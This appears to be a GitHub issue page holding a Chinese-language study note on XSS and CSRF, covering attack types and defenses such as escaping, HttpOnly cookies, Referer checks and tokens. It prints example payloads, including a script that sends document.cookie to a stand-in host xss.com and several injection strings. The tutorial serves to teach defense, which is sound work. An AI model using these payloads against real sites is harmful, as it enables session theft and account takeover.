We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。
该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
例如,在某网站 URL 上有 keyword 参数,表示搜索的关键字,例如:
keyword
http://www.example.com/search?keyword=xxx
表示 xxx 作为关键字搜索,打开后会将这串字符显示在页面某个位置上。
xxx
如果没有做防护,那么我们就可以在 keyword 后面插入一些恶意代码,如:
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
接下来引导用户去点击这个链接,用户打开后,就会执行 <script>document.location='http://xss.com/get?cookie='+document.cookie</script> ,把自己本地的 cookie 发送到 http://xss.com/ 上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。
<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
http://xss.com/
与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。
例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:
好文,i了 <script> // 这里做一些攻击操作 alert('XSS') </script>
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。
这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。
例如,有个让用户输入链接的场景:
<input id="input"> <button id="button">Submit</button> <div id="div"></div> <script> document.getElementById('button').addEventListener('click', () => { document.getElementById('div').innerHTML = `<a href=${document.getElementById('input').value}>Link</a>` }) </script>
当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。
如果用户输入的是:
'' onclick=alert(/XSS/)
这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。
src
javascript:alert('xss')
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
<script> alert("xss")</script>
浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie
不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。
在一些框架中,会自带标签转义。
服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS
跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。
优点:简单,对请求统一拦截检查 Referer 值即可。
缺点:
验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。
在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。
优点: 比 Referer 检查安全,不涉及用户隐私 缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全
The text was updated successfully, but these errors were encountered:
No branches or pull requests
XSS(Cross Site Scripting)
概念
跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。
分类
1. Reflected XSS(基于反射的 XSS)
该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。
例如,在某网站 URL 上有
keyword
参数,表示搜索的关键字,例如:表示
xxx
作为关键字搜索,打开后会将这串字符显示在页面某个位置上。如果没有做防护,那么我们就可以在
keyword
后面插入一些恶意代码,如:接下来引导用户去点击这个链接,用户打开后,就会执行
<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
,把自己本地的 cookie 发送到http://xss.com/
上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。2. Stored XSS(基于存储的 XSS)
与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。
例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:
这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。
3. DOM-based or local XSS(基于 DOM 或本地 XSS)
这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。
例如,有个让用户输入链接的场景:
当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。
如果用户输入的是:
这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。
一些 XSS 方式
src
中写入javascript:alert('xss')
(IE6、7)$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');
,decode 后是<script> alert("xss")</script>
XSS 防范
浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie
不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。
在一些框架中,会自带标签转义。
服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS
CSRF(Cross Site Request Forgery)
概念
跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。
原理
防范
优点:简单,对请求统一拦截检查 Referer 值即可。
缺点:
验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。
在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。
优点: 比 Referer 检查安全,不涉及用户隐私
缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全
参考
The text was updated successfully, but these errors were encountered: